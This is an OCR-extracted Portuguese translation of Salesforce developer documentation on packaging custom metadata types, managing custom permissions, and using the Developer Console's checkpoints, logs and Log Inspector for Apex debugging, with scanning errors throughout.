2. Selecione o tipo de metadados personalizados para adicionar ao pacote.
3. (lique em Adicionar ao pacote.
Para adicionar registros de metadados personalizados:

1. Selecione o rétulo do tipo de metadados personalizados dentre os tipos de componente disponiveis — por exemplo,
ReusablePicklist mdt ou,se o tipo € de um pacote que vocé estd estendendo, ReusablePicklist mdt
[picklist1234].

2. Selecione os registros a serem adicionados.
3. (lique em Adicionar ao pacote.

Quando vocé adiciona um registro ao pacote, o tipo correspondente € adicionado. Quando vocé adiciona um registro a um conjunto
de alteragdes, o tipo correspondente é incluido na lista de componentes dependentes.

Para mais informacdes sobre conjuntos de alteracdes e implantacao de pacotes, consulte o Guia do ciclo de vida de desenvolvimento.

Notfa: Ndo é possivel desinstalar um pacote com um tipo de metadados personalizados se vocé tiver criado registros desse tipo
de metadados personalizados.

Como acontece com todos 0s componentes de metadados empacotaveis, também é possivel adicionar tipos e registros de metadados
personalizados a um pacote especificando o nome completo do pacote no arquivo package . xm1. Por exemplo, especificamos o
pacote neste fragmento do arquivo package . xm1 da Picklists R Us.

<?xml version="1.0" encoding="UTF-8"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">
<fullName>Picklists R Us</fullName>

Consideragoes sobre pacotes de tipo de metadados personalizados

Esteja ciente dos seguintes comportamentos de pacotes que contém tipos de metadados ED|COES

personalizados.

Ap6s carregar um pacote Gerenciado - Liberado contendo um tipo de metadados personalizados, Disponivel em: Salesforce
nao é possivel: Classic

e Adicionar campos obrigatorios ao tipo de metadados personalizados Disponivel em: Edicoes

e Tornar obrigatdrio um campo opcional Enterprise, Performance,

Unlimited, Developer e

e Excluir campos personalizados Database.com


https://developer.salesforce.com/docs/atlas.en-us.dev_lifecycle.meta/dev_lifecycle/
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Permissoes personalizadas

Permissoes personalizadas

Use permissdes personalizadas para dar aos usuarios o acesso a processos ou aplicativos
personalizados.

No Salesforce, muitos recursos exigem verificagbes de acesso que especificam quais usuarios podem
acessar certas fungoes. As configuracdes de conjunto de permissoes e perfis incluem configuragées
de acesso integradas para vdrias entidades, como objetos, campos, guias e paginas do Visualforce.
No entanto, os conjuntos de permissdes e perfis nao incluem o acesso a alguns processos e
aplicativos personalizados. Por exemplo, no caso de um aplicativo de gerenciamento de folgas, é
possivel que todos os usudrios precisem ter a capacidade de enviar solicitagdes de folga, mas um
conjunto menor de usudrios precisa aprovar essas solicitacoes. E possivel usar permissoes
personalizadas referentes a esses tipos de controles.

As permissoes personalizadas permitem definir verificagbes de acesso que podem ser atribuidas a
usudrios por meio de conjuntos de permissdes ou perfis, de forma semelhante a atribuicdo de
permissdes de usudrios e outras configuragdes de acesso. Por exemplo, é possivel definir verificagbes
de acesso no Apex que s6 colocam a disposicao um botdo em uma péagina do Visualforce se o
usudrio tiver a permissao personalizada adequada.

E possivel consultar permissdes personalizadas das formas apresentadas a sequir.

e Para determinar quais usuarios tém acesso a uma permisséo personalizada especifica, use o
Salesforce Object Query Language (SOQL) com os sObjects SetupEntityAccess e
CustomPermission.
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edi¢des
Group, Professional,
Enterprise, Performance,
Unlimited e Developer

Em organizacdes com
Group e Professional Edition,
vocé ndo pode criar ou
editar permissoes
personalizadas, mas &
possivel instald-las como
parte de um pacote
gerenciado.

e Para determinar quais permissdes personalizadas os usudrios tém ao autenticar em um aplicativo conectado, faca referéncia o URL
de identidade do usuario, que o Salesforce fornece em conjunto com o token de acesso referente ao aplicativo conectado.

CONSULTE TAMBEM:
Criar permissdes personalizadas
Adicionar ou remover as permissdes personalizadas necessarias
Referéncia de objeto para Salesforce e Force.com: CustomPermission
URLs de identidade


https://developer.salesforce.com/docs/atlas.en-us.pages.meta/object_reference/sforce_api_objects_custompermission.htm
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Criar permissoes personalizadas

Criar permissdes personalizadas para dar aos usuarios o acesso a processos ou aplicativos
personalizados.

1. Em Configuragdo, insira Permissées personalizadas nNacaixa Busca rapida
e selecione Permissoes personalizadas.

2. (lique em Novo.

3. Insira as informacoes sobre a permissao:
e RoOtulo:oroétulo da permissdo que aparece em conjuntos de permissdo
® Nome: 0 nome exclusivo usado pela APl e pelos pacotes gerenciados

® Descricdo — como opgdo, uma descricdo que explique a quais fungdes a permissao
da acesso, como “Aprovar solicitagdes de folga”.

e Aplicativo conectado — como opcao, o aplicativo conectado associado a
permissao

4. (Clique em Salvar.

CONSULTE TAMBEM:

Permissoes personalizadas
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Group, Professional,
Enterprise, Performance,
Unlimited e Developer

Em organizacdes com
Group e Professional Edition,
vocé ndo pode criar ou
editar permissoes
personalizadas, mas &
possivel instald-las como
parte de um pacote
gerenciado.

PERMISSOES DO

USUARIO

Para criar permissoes

personalizadas:

e “Gerenciar permissoes
personalizadas”
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Editar permissoes personalizadas

Edite permissGes personalizadas que dao aos usuarios 0 acesso a processos ou aplicativos
personalizados.

1. Em Configuragdo, insira Permissées personalizadas nNacaixa Busca rapida
e selecione Permissoes personalizadas.

2. (ligue em Editar ao lado da permissao que vocé precisa mudar.

3. Edite as informacdes de permissao conforme a necessidade.
e RoOtulo:oroétulo da permissdo que aparece em conjuntos de permissdo
® Nome: 0 nome exclusivo usado pela APl e pelos pacotes gerenciados

® Descricdo — como opgdo, uma descricdo que explique a quais fungdes a permissao
da acesso, como “Aprovar solicitagdes de folga”.

e Aplicativo conectado — como opcao, o aplicativo conectado associado a
permissao

4. (Clique em Salvar.

CONSULTE TAMBEM:

Permissoes personalizadas
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Group, Professional,
Enterprise, Performance,
Unlimited e Developer

Em organizacdes com
Group e Professional Edition,
vocé ndo pode criar ou
editar permissoes
personalizadas, mas &
possivel instald-las como
parte de um pacote
gerenciado.

PERMISSOES DO

USUARIO

Para editar permissdes

personalizadas:

e “Gerenciar permissoes
personalizadas”
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Adicionar ou remover as permissoes personalizadas necessarias

Uma permissao personalizada necesséria é uma permissao personalizada que deve ser ativada
quando a permissdo personalizada pai € ativada. Por exemplo, vocé pode ter uma permissao
personalizada “Aprovar solicitacdes de folga” e especificar que ela requer a permissao personalizada
“Enviar solicitacbes de folga”.

1. Em Configuracdo, insira Permissées personalizadas nacaixa Busca rapida
e selecione Permissoes personalizadas.

2. (Crie ou selecione uma permissao personalizada existente.
Na lista relacionada Permissdes personalizadas necessarias, clique em Editar.

4. Selecione as permissdes personalizadas que deseja adicionar da lista Permissdes personalizadas
disponiveis e clique em Adicionar, ou selecione as permissoes personalizadas que deseja
remover da lista Permissdes personalizadas necessarias e clique em Remover.

5. Clique em Salvar.

CONSULTE TAMBEM:

Permissdes personalizadas

Depuracgdo

Depurando o seu cédigo

Esta secdo contém informacées sobre como depurar o cédigo que vocé escreveu.
e Guia Pontos de verificacdo

e Inspetor de pontos de verificacdo

e Guia Registros

e Inspetor de registro

e Exemplos de uso do inspetor de registros

e Usando registros de depuracéo

Depuragdo com o uso do console do desenvolvedor

Guia Pontos de verificacdo
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Group, Professional,
Enterprise, Performance,
Unlimited e Developer

Em organizacdes com
Group e Professional Edition,
vocé ndo pode criar ou
editar permissoes
personalizadas, mas &
possivel instald-las como
parte de um pacote
gerenciado.

PERMISSOES DO

USUARIO

Para adicionar ou remover
as permissoes
personalizadas necessdrias:
e “Gerenciar permissoes
personalizadas”

A guia Checkpoints (Pontos de verificacdo) exibe uma lista de pontos de verificagdo salvos que preserva um instantaneo do estado dos

objetos na memaria no momento em que o ponto de verificacdo foi atingido.

Query Editor Problems

Logs | Tests | [Checkpoints

Progress

04/10 08:06:19
04/10 08:06:20

none PermsetAssignmentController 8 PermsetAssignmentContraoller

none PermsetAssignmentController 40 PermissionAssignmentContraollerTest
PermsetAssignmentContraoller

UserResultTest

Edit Properties

Checkpoints Checkpoint Locations
Namespace Class Line Date File Line Iteration

5

40 1
5

8 1
4 1
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Pontos de verificacdo

Essa lista exibe os pontos de verificacdo atualmente disponiveis para revisao. Selecione Debug (Depurar) > My Current Checkpoints
Only (Apenas meus pontos de verificagdo atuais) para exibir apenas os pontos de verificacao criados desde a abertura do Console
do desenvolvedor. Desmarque essa opgdo para exibir todos os pontos de verificacdo atualmente salvos para a sua organizacao, incluindo
aqueles recém-gerados criados por outros usuarios.

Cada ponto de verificacdo na lista exibe estas informacoes:

Coluna Descrigdo

Namespace O namespace do pacote contendo o ponto de verificacao.
Classe A classe do Apex contendo o ponto de verificacéo.

Linha O numero da linha marcada com o ponto de verificagdo.
Hordrio A hora em que o ponto de verificacdo foi atingido.

Clique com o botao direito em qualquer cabecalho de coluna para classificar as informacées na coluna. Também € possivel selecionar
quais colunas serdo exibidas na lista Pontos de verificacao.

Para abrir um ponto de verificacao, clique duas vezes nele. O ponto de verificacdo abre no Inspetor do ponto de verificacao.

Locais do ponto de verificacGo

Essa lista fornece o local de cada ponto de verificacdo no cédigo-fonte. Cada item na lista exibe estas informacées:

Coluna Descricdio

Arquivo O nome da classe do Apex que contém o ponto de verificaco.

Linha O nuimero da linha marcada com o ponto de verificacdo.

lteracéo Se 0 ponto de verificacdo estiver em um loop, esse valor indica a iteracdo em que o ponto de verificagao é
capturado.

Por padrao, a iteragdo é 1, 0 que significa que o ponto de verificacdo é salvo na primeira vez que a linha do codigo-fonte é executada.
E possivel usar uma iteracdo diferente, por exemplo, para investigar por que um loop néo termina quando esperado. Para alterar a
iteracdo, clique na célula que deseja alterar e insira um novo ndmero. Somente um ponto de verificacdo serd capturado para uma linha
de cédigo especifica, independentemente de quantas vezes ela for executada durante uma solicitagéo.

Defina os locais do ponto de verificacao no Editor de cédigo-fonte. As localizacdes do ponto de verificagdo persistem até que vocé clique
em Limpar ou feche o Console do desenvolvedor.

CONSULTE TAMBEM:
Inspetor de pontos de verificacdo
Configurando pontos de verificacdo no cédigo do Apex
Sobrepondo cédigo do Apex e instrucdes SOQL

Usando o Console do desenvolvedor
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Configurando pontos de verificacdo no codigo do Apex

Use os pontos de verificagdo do Console do desenvolvedor para depurar seus acionadores e classes do Apex. N&o é possivel configurar
pontos de verificacdo na marcacao do Visualforce.

@ Importante: Para usar pontos de verificacao, o Nivel de registro do Apex deve ser configurado como Finer (Mais exato) ou Finest
(O mais exato). Consulte Configuracdo de niveis de registro.

Para configurar um novo ponto de verificacdo:

1. Abra o acionador ou classe do Apex no Editor de codigo-fonte.

2. (lique na margem a esquerda do nimero da linha em que deseja configurar o ponto de verificagdo. Até cinco pontos de verificagdo
podem ser ativados ao mesmo tempo.

Os resultados para um ponto de verificacdo sao capturados somente uma vez, nao importa quantas vezes a linha de cédigo seja
executada. Por padréo, eles sdo capturados imediatamente antes da primeira vez em que a linha de codigo ¢ executada. E possivel
alterar a iteragdo da captura da lista de Locais do ponto de verificacdo na guia Pontos de verificacao. E também sobrepor o cédigo
do Apex e as instrugdes SOQL que séo executadas quando o cédigo executa no ponto de verificagéo.

3. Execute o cédigo com o Console do desenvolvedor aberto.
4. Visualize seus pontos de verificacdo e resultados na guia Pontos de verificacdo.
Os pontos de verificagao persistem até que vocé clique em Debug (Depurar) > Clear Checkpoint Locations (Limpar locais do ponto

de verificacdo).

Nota: Se vocé configurar um ponto de verificacdo em um método com a anotagdo @ future, é possivel manter o Console do
desenvolvedor aberto até que o método @future conclua de maneira assincrona.

CONSULTE TAMBEM:
Inspetor de registro
Sobrepondo cédigo do Apex e instrucdes SOQL
Guia Pontos de verificacao

Inspetor de pontos de verificacdo

Sobrepondo cédigo do Apex e instru¢cdes SOQL

Use o Controle do desenvolvedor para sobrepor o diagnéstico que é executado quando o cédigo do Apex executa no ponto de verificacao
sem alterar nenhum cédigo.

Consulte Configurando pontos de verificacdo no codigo do Apex.

Ao tentar solucionar um problema de tempo de execucéo, informacées sobre o estado de uma varidvel ou o estado do banco de dados
podem ser Uteis. Também pode ser Util criar uma condicdo especifica na qual testar o codigo. O Console do desenvolvedor permite
sobrepor o cédigo do Apex e as instrugdes SOQL que sdo executados quando o cddigo executa no ponto de verificagdo.

1. Defina os pontos de verificacdo e execute seu c6digo e, entdo, acesse a guia a Checkpoints (Pontos de verificacdo).
2. Selecione um ponto de verificacdo e clique em Edit Properties (Editar propriedades).

3. Selecione SOQL ou Apex Code (Codigo do Apex). Para executar o codigo de diagnéstico sem gerar um heap dump no ponto de
verificacdo, desmarque Dump Heap.


https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/apex_classes_annotation_future.htm
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Execution Action Properties x
Dump Heap:
Action Script Type: @ Nong © soaL © Apex Code
Action Script: selact id, name from contact|
Cancel oK

4. Insira SOQL ou codigo do Apex na caixa Action Script (Script da agdo) e cliqgue em OK.

@ Nota: Nao é possivel fazer referéncia a objetos locais, pois um bloco anénimo é uma nova estrutura de pilha. Faca referéncia
a objetos estaticos ou crie novos objetos. Também ndo é possivel usar varidveis bind em consultas SOQL usadas em
sobreposicoes.

Os resultados do cédigo sobreposto irdo aparecer em uma guia Query Results (Resultados da consulta) ou Apex Execution Results
(Resultados de execugdo do Apex) separada no Inspetor de ponto de verificacdo. Para detalhes sobre como navegar nos resultados da
consulta, veja Editor de consulta.

@ Nota: Na guia Apex Execution Results (Resultados da execucao do Apex), o valor -1 indica que o campo no é aplicavel.

CONSULTE TAMBEM:
Configurando pontos de verificagdo no cddigo do Apex
Guia Pontos de verificacao

Inspetor de pontos de verificacdo

Inspetor de pontos de verificagdo

Use os pontos de verificacdo para investigar os objetos na memaria em um ponto de execucdo especifico e ver os outros objetos com
referéncias a eles.

Acesse a guia Pontos de verificacdo e clique duas vezes no ponto de verificacdo para visualizar os resultados no Inspetor do ponto de
verificacdo. O Inspetor do ponto de verificacao fornece mais detalhes sobre as varidveis que o Inspetor de registro, incluindo os itens
individuais em colecoes.

O Inspetor do ponto de verificacdo tem duas guias:

e Aguia Heap exibe todos os objetos em memadria no momento em que a linha de cédigo no ponto de verificacdo foi executada. Os
itens sdo listados e agrupados por tipo de dados.
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FilterOptions */| PermsetAssignmentController '*/| PermissionAssignmentControllerTest * il /10 08:06:19
Heap  Symbols
D N S
Type Count Total Size Address Size Field Value
FilterOptions 1 20 0x44a17a41 20 filterOn_Email true
PermsetAssignmentC 1 12 FiterOn_FirstName e
String 1 0
filterOn_Lastiame true
searchFilter Ox1ds0443d

References  Search

Inbound References Referencing Instances
Field Type Address Size
accessibleFields DynamicObjectHandler 0x2ba10de0 12

-~ Acoluna Tipos é uma lista adicional de classes de todos 0s objetos instanciados na memaria no ponto de verificacdo, com uma
contagem de quantos séo instanciados, e a quantidade de meméria consumida em bytes. Clique em um item para visualizar
uma lista destes objetos na coluna Instancias, com o seu endereco no heap e na memoria consumida. Clique em uma instancia
para visualizar as varidveis atualmente definidas neste objeto na coluna Estado.

- Aquia Referéncias fornece duas listas para exibir os relacionamentos entre os simbolos mantidos na meméria. Use a lista
Referéncias de entrada para localizar os simbolos que podem conter referéncias aos objetos de um tipo especifico. Use a lista
Instancias de referéncia para encontrar instancias especificas que contém referéncias a um simbolo. Clique duas vezes para
encontrar a instancia em qualquer outro lugar do heap.

-~ Aqguia Pesquisa permite localizar simbolos no heap pelo valor ou endereco. A pesquisa compara valores parcial do simbolo, mas

o0s enderecos devem ser exatos. Para pesquisar rapidamente um valor, clique no icone de pesquisa ( @) que aparece a direita,
a0 passar 0 mouse sobre ele no painel Estado.

e Aguia Simbolos exibe uma visualizagdo em arvore de todos os simbolos em memaria nesse ponto de verificagdo. Use-a para revisar
rapidamente o estado do sistema na linha especifica do cédigo (e iteracao) em que o ponto de verificacao foi definido.

FilterOptions */| PermsetAssignmentController *'| PermissionAssignmentControllerTest * il /10 08:06:19
Heap || Gymbols
Symbol Key Value
El=1
23 this this Type PermsetAssignmentController (12 bytes)
=] filter filter Ox44a17a41
|=] searchedUsers searchedUsers (UserList)

O Importante: Caso néo visualize as barras de rolagem nos painéis do Inspetor do ponto de verificagdo em um Mac, abra System
Preferences (Preferéncias do sistema) > General (Geral) e defina Show scroll bars (Mostrar barras de
rolagem) paraAlways (Sempre).

CONSULTE TAMBEM:
Guia Pontos de verificacdo
Configurando pontos de verificacdo no cédigo do Apex

Sobrepondo cédigo do Apex e instrucbes SOQL
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Guia Registros

Use a guia Registros no Console do desenvolvedor para acessar registros que incluam eventos do banco de dados, processamento do
Apex, fluxo de trabalho, callouts e l6gica de validacao.

O Console do desenvolvedor automaticamente pesquisa 0s registros de depuragdao do usuario atual e os lista na guia Logs (Registros).
Por exemplo, se vocé tiver regras de validacao associadas a insercao de um registro e inserir um novo registro, o Console do desenvolvedor
captura um registro de depuracdo para a solicitagcdo e o adiciona a lista.

F.ngs Tests Checkpoints Query Editor Progress Problems ¥
User Application Operation Time Status Read Size
is Browser J_uifcommon/apex/debu... 04/09 13:38:46 Success 39132

[l Filter  Click here to fitter the log list

e Para abrir um registro selecionado no Inspetor de registro, clique em File (Arquivo) > Open Log (Abrir registro) ou clique duas
vezes no registro na guia Logs (Registros). Use o Inspetor de registro para analisar um registro de depuracéo, avaliar o cédigo do
Apex, rastrear DML, monitorar o desempenho, etc.

e Para abrir um registro selecionado em um editor de texto, clique em File (Arquivo) > Open Raw Log (Abrir registro original).

e Parafiltrar os registros visiveis, clique em Filter (Filtrar) e digite o texto que deseja incluir na lista. Por exemplo, se quiser ver os
registros de depuracdo de determinado usudrio, digite o nome dele. O filtro diferencia maitsculas de minusculas.

e Pararemover todos os registros da lista, clique em Debug (Depurar) > Clear (Limpar) > Log Panel (Painel de registro).

e Porpadrdo, a guia Logs (Registros) exibe somente novos registros gerados pelo usuario atual. Para ver todos os registros de depuracao
salvos para a sua organizacao, incluindo registros recém-gerados criados por outros usuarios, clique em Depurar e desmarque
Exibir apenas meus registros atuais.

e Para ocultar automaticamente todos os registros existentes na préxima vez em que a pagina for atualizada, clique em Debug
(Depurar) e selecione Auto-Hide Logs (Ocultar registros automaticamente).

e Para baixar uma cépia do registro selecionado como um arquivo de texto, clique em File (Arquivo) > Download Log (Fazer
download do log). O nome padréo referente ao arquivo é apex.log.

e Paraimpedir que os registros sejam carregados quando vocé abrir o Console do desenvolvedor, acesse Help (Ajuda) > Preferences
(Preferéncias) e configure Prevent Logs on Load (Evitar registros ao carregar) como verdadeiro.

@ Nofta: Os registros do usuario sdo configurados na pagina Registro de depuracdo na sua organizacao. Em Configuracéo, insira
Registros de depurac¢do nNacaixa Busca réapida e selecione Registros de depuragao.

Configuracdo de niveis de registro

Os niveis de registro determinam a quantidade de informacées sobre uma solicitacdo que é salva em um registro de depuracgdo. A analise
de um registro grande pode levar muito tempo. Para reduzir o tamanho de um registro, ajuste o nivel de registro. Use registro detalhado
para o codigo que vocé esté revisando. Use o registro resumido para o codigo no qual vocé ndo tem interesse.

Para especificar os niveis de registro para solicitacdes futuras, clique em Depurar > Alterar niveis de registro. Esta pdgina permite
definir sinalizadores de rastreamento e niveis de depuracao.

Para substituir os niveis de registros padrdo para uma classe ou acionador especifico, ou para configurar registro para um usuario, adicione
um sinalizador de rastreamento que inclua uma duracao e um nivel de depuracao.

Para salvar suas alteracbes e fechar a janela, clique em Done (Concluido).

Nota: Se estiver usando pontos de verificacao para depurar, defina o nivel de registro do Cédigo do Apex para MAIS EXATO ou
O MAIS EXATO. (Nao use O MAIS EXATO na implementacao.)

Para ver detalhes sobre o que cada configuragdo controla, consulte Categorias de log de depuracao e Niveis de log de depuragéo.
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@ Importante: Se o Console do desenvolvedor estiver aberto, os niveis de registro gerais definidos no Console do desenvolvedor
afetardo todos os registros, incluindo aqueles criados durante a implementagdo. Antes de executar uma implantacdo, verifique se
o nivel de registro do codigo do Apex nao foi definido como O mais exato, se for o caso, aimplantacdo pode levar mais tempo do
que esperado.

CONSULTE TAMBEM:
Menu Depurar
Inspetor de registro
Niveis de registro de depuracao

Ordem de precedéncia dos logs de depuragao

Inspetor de registro

O Inspetor de registro é um visualizador de execugdo sensivel ao contexto que mostra a origem de uma operacao, o que acionou a
operagdo e o que ocorreu depois. Use esta ferramenta para exibir registros de depuracdo, incluindo eventos do banco de dados,
processamento do Apex, fluxo de trabalho e légica de validacéo.

Os painéis exibidos no Inspetor de registro dependem da perspectiva selecionada. Para alternar perspectivas, clique em Debug
(Depurar) > Switch Perspective (Alternar perspectiva). Para obter mais detalhes sobre perspectivas padrao e personalizadas, consulte
Gerenciando perspectivas no inspetor de registro.

Painéis de registro

O Inspetor de registro pode conter qualquer um dos seguintes painéis:
e Arore de pilha

e Pilha de execucao

e Registro de execu¢ao

e Origem

e \Varidveis

e \Visdo geral de execucdo

Clique em Debug (Depurar) > View Log Panels (Exibir painéis de registro) ou CTRL+P para escolher entre 0s painéis disponiveis
e projetar uma perspectiva personalizada.

Select Panels ®
| Stack Tree

Execution Stack

Execution Log

Source

[#] variables

Execution Overview

Se vocé projetar uma perspectiva personalizada que deseja usar novamente, clique em Debug (Depurar) > Save Perspective (Salvar
perspectiva) e lhe dé um nome facil de lembrar. Apds uma perspectiva personalizada ser salva, é possivel selecionéd-la a qualquer
momento que o Inspetor de registro for usado, clicando em Debug (Depurar) > Switch Perspective (Alternar perspectiva).

A maioria dos painéis atualiza automaticamente para exibir informacées quando vocé clica em um item em um painel relacionado. Por
exemplo, se vocé clicar em uma pasta no painel Arvore de pilha, os painéis Pilha de execucdo, Registro de execucao e Origem séo
atualizados para exibir informacées sobre o objeto relacionado. De maneira similar, se vocé clicar em uma linha no Registro de execucéo,
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os painéis Arvore de pilha, Pilha de execucdo e Origem séo atualizados com detalhes dessa linha. Clicar em um item na quia Unidades
executadas na Visdo geral de execucdo atualiza os painéis Registro de execucao, Arvore de pilha, Pilha de execucdo e Origem.

Arvore de pilha

O painel Arvore de pilha exibe duas visualizacbes de arvore que mostram informacdes "de cima para baixo", do inicio das chamadas até
o préximo nivel abaixo, 0 que permite ver a hierarquia dos itens em um processo. Por exemplo, se uma classe chamar uma segunda
classe, esta serd exibida como um noé filho da primeira classe.

A Arvore de execucao exibe cada operacao. Por exemplo, se um loop for chamar System.debug () oito vezes, a Arvore de
execucdo mostra a duracéo de cada chamada:

| Stack Tree |

Unit

[=] debug
[=] debug
[=] debug
[=] debug
= dehun

(=23 /_uifcommon/apex/deb...
37 execute_anonymou

FXmlt'IIITIEE Performance Tree

Duration
53.08
53.00
0.11
0.11
0.11
0.14
nis

Heap
2534
2534
0

5> o o o

[am] »

A Arvore de desempenho agrega operacoes para que vocé tenha uma visao melhor do desempenho geral de uma operacdo. Usando
0 mesmo exemplo que acima, a Arvore de desempenho exibe a duracdo total de cada chamada para debug:

Unit
=43 /_uifcommon/ap...
23 execute_ano
[=] debug
= size
= add
=

Duration

53.08
53.00
102
0.54
0.47
0.10

Heap
2534
2534
0

1]
a
0

Stack Tree |

Execution Tree Perfnrmau Tree

Iterations

[

Esse registro foi gerado a partir da janela Executar anénimo. Chamadas para debug e outros métodos de outros locais no seu cédigo
sdo agregados na unidade executada.

Cada secdo no painel de Arvore de pilha inclui estas informacdes:

Coluna
Escopo
Unidade
Duracdo
Heap

lteragoes

Pilha de execucdo

Descricdo

Regido delimitada no processo, como fluxo de trabalho, uma classe ou DML

Nome do item (regido)

Quantidade de tempo (em milissegundos) que o item demorou para ser executado

Quantidade de heap (em bytes) que o item usou

Numero de vezes que o item foi chamado.

O painel Pilha de execucédo contém uma exibicao "de baixo para cima" do item selecionado atualmente no registro de depuracéo,
comecando com a chamada de nivel mais inferior, sequida pela operacao que acionou aquela chamada e assim por diante.
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Unit Duration Heap
debug 0.11 1]
execute_anony 53.00 2534

Registro de execugdo

O painel Registro de execugao contém o registro de depuragao do processo atual. O registro de depuragdo contém toda a agao ocorrida
no processo, como chamadas de método, regras do fluxo de trabalho e opera¢des DML. Para visualizar linhas longas que estdo truncadas
na exibicdo, passe 0 mouse sobre a linha para exibir uma janela pop-up.

Execution Log

Timestamp Event Details
10:35:16:061  EYECUTION_ST... -
10:35:16:061  CODE_UNIT_ST.. [EXTERNAL]|execute_anonymous_apex [

10:35:16:064 WARLABLE_SCO..  [1]|characters|LIST <Siring > [true|false
10:35:16:086 HEAP_ALLOCATE  [EXTERMAL] |Bytes:7

10:35:16:086 HEAP_ALLOCATE  [EXTERMAL] |Bytes:13

10:35:16:086 STATEMENT_EX [l

10:35:16:086 STATEMENT_EX [l

10:35:16:086 LIMIT_USAGE [1]|SCRIPT_STATEMENTS|1/200000
10:35:16:087 HEAP_ALLOCATE  [1]|Bytes:4

10:35:16:087 SYSTEM_CONST...  [1]]<init>()

10:35:16:088 SYSTEM_CONST...  [1]]<init>()

10:35:16:088 HEAP_ALLOCATE  [1]|Bytes:5

10:35:16:088 SYSTEM_METHO... [1]ILIST<String> add(Object)

10:35:16:088 SYSTEM_METHO... [1]ILIST<String>> add(Object)

10:35:16:088 HEAP_ALLOCATE  [1]|Bytes:11

‘10‘:35: 16:088 - SYSTEIT METHO... T11ILIST<Strina:> add(Obiect) : o

] This Frame [*] Executable [“] Debug Only (] Filter

Use o Registro de execucao para rastrear novamente as etapas por um processo. £ possivel passar pelas linhas por si mesmo ou filtrar o
registro para as linhas de interesse especifico:

e This Frame (Este quadro): Exibe somente esta regiao do processo ou somente os itens associados ao nivel. Por exemplo, se vocé
tiver selecionado um acionador que chame uma classe, somente as operacoes do acionador serdo exibidas. Se vocé clicar em
CODE_UNIT STARTED e selecionar This Frame (Este quadro), apenas os itens no processo que ocorrem entre
CODE_UNIT STARTED e CODE UNIT ENDED associado sao exibidos.

e Executable (Executdvel): Exibe somente os itens executaveis no registro de depuracao. Essa op¢do oculta as informacoes sobre
limites cumulativos, como o nimero de consultas SOQL feitas, o nimero de linhas DML e assim por diante.

o Dica: Sempre deixe Executable (Executdvel) marcado. Desmarque-a apenas quando estiver trabalhando na otimizagdo do
processo e precisar de informagdes especificas sobre limites.

e Debug Only (Apenas depurar): Exibe apenas as instru¢des de depuracao que vocé adicionou ao cédigo.

e Filter (Filtrar): Exibe os itens correspondentes que foram digitados no campo associado. Por exemplo, se vocé selecionar Filter
(Filtrar) e digitar DML, ser&o exibidas apenas as linhas no registro de execucao com a string "DML" no compromisso ou nos detalhes.
O filtro diferencia maiusculas de minusculas.

O painel Registro de execucao contém estas informacoes:

Coluna Descricdio

Data e hora Hora do sistema em que o processo foi iniciado, exibida no hordrio local do usuario. O formato é:
HH:MM:SS:MSS.

Compromisso O Evento de depuracao

Detalhes Detalhes adicionais que pertencem ao evento, como ndmero de linhas, parametros.
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Origem

O painel Origem contém o codigo-fonte executado ou as definicbes de metadados de entidades usadas durante o processo. Ele lista
quantas vezes uma linha de cédigo foi executada. O conteudo exibido no painel depende do que esta selecionado em outro ponto na
exibicao.

Para ir até uma linha de codigo especifica, insira um nimero de linha na caixa de entrada na parte inferior do painel de origem e clique
em Jump (Ir para).

Clique em Open (Abrir) para abrir o cédigo-fonte executado na exibicdo do Editor de cédigo-fonte.

@ Nota: Se as regras de validacdo ou o fluxo de trabalho forem executados durante o processo, a representacdo dos metadados é
exibida no painel de origem. Vocé ndo pode abrir uma representacdo de metadados no Console do desenvolvedor. Consulte
ValidationRule (Regrade validacao) e Workflow (Fluxo de trabalho) no Force.com Metadata APl Developers Guide (Guia
do desenvolvedor da APl de metadados do Force.com).

Variaveis
Use o painel Varidveis para descobrir quando é atribuido um valor a uma varidvel e qual é esse valor. Clique em um evento Variavel
para preencher a secao.

@ Nota: O nivel de log do cédigo do Apex Code (Codigo Apex) deve ser definido como Exato para que atribuicdes de variaveis
sejam registradas.

Outro modo de exibir o contetdo das varidveis é usar os pontos de verificacdo, que possibilitam ver mais detalhes sobre as entidades
contidas na memaria no momento da execucdo. Para obter detalhes, consulte Configurando pontos de verificacdo no cédigo do Apex.

Visdo geral de execucao: Salvar Pedido, Limites, Linha de tempo e Unidades executadas
O painel Visao geral da execucao na parte inferior do Inspetor de registro contém quatro guias:

e Aguia Salvar pedido exibe uma linha do tempo com cédigo de cores das acdes DML. Para cada acdo DML tomada, salve os elementos
de pedido mostrados como vagdes de carga na linha do tempo.

Save Order || Limits | Timeline | Executed Units
Sobject

Task

Task

As seguintes cores séo usadas para diferenciar entre os elementos:

Cor Tipo

Vermelho Antes do acionador
Laranja Apds o acionador
Verde Regra de validagdo
Azul Regra de atribuicéo

Roxo Regra de fluxo de trabalho


https://developer.salesforce.com/docs/atlas.en-us.198.0.api_meta.meta/api_meta/meta_validationformulas.htm
https://developer.salesforce.com/docs/atlas.en-us.198.0.api_meta.meta/api_meta/meta_workflow.htm
http://www.salesforce.com/us/developer/docs/api_meta/api_meta.pdf
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Para obter mais detalhes sobre um elemento especifico, clique no vagéo de carga associado na linha do tempo. A janela pop-up
exibe informagdes adicionais, incluindo um link para navegar diretamente até o lugar relevante no registro.

Para exibir o(s) ID(s) dos registros afetados, clique no nome do sObject no painel esquerdo.

A guia Limites exibe os limites gerais do sistema por nome e quantidade usada e contém estas informacoes:

Coluna Descricdio

Limite Nome do limite

Usado até Valor do limite usado por este processo no ponto da execucao.
Total da solicitacdo Valor desse limite usado pela solicitacédo na conclusao.

Total disponivel

Valor total do limite.

A guia Cronograma fornece uma representacao visual do tempo dispendido por cada processo. Selecione a opcdo Scale (Escala)
que resulta na exibicao mais Util.

(oot ]
Save Order Limits = Timeline Executed Units

Category Millis % 14:53:01.100 14:53:01.110 14:53:01.120 14:53:01.130 145
oo mm mom I N S
WORKFLOW 0.00 0.00% | |

DB 0.00 0.00% q| m T
Scale: @ 0.01 Seconds ) 0.1 Seconds ) 1 Second (10 Seconds ) Minutes

A guia Cronograma contém estas informagoes:

Coluna
Categoria
Milis

%

Descricdio
Tipo de processo.
Milissegundos de tempo gasto pelo processo.

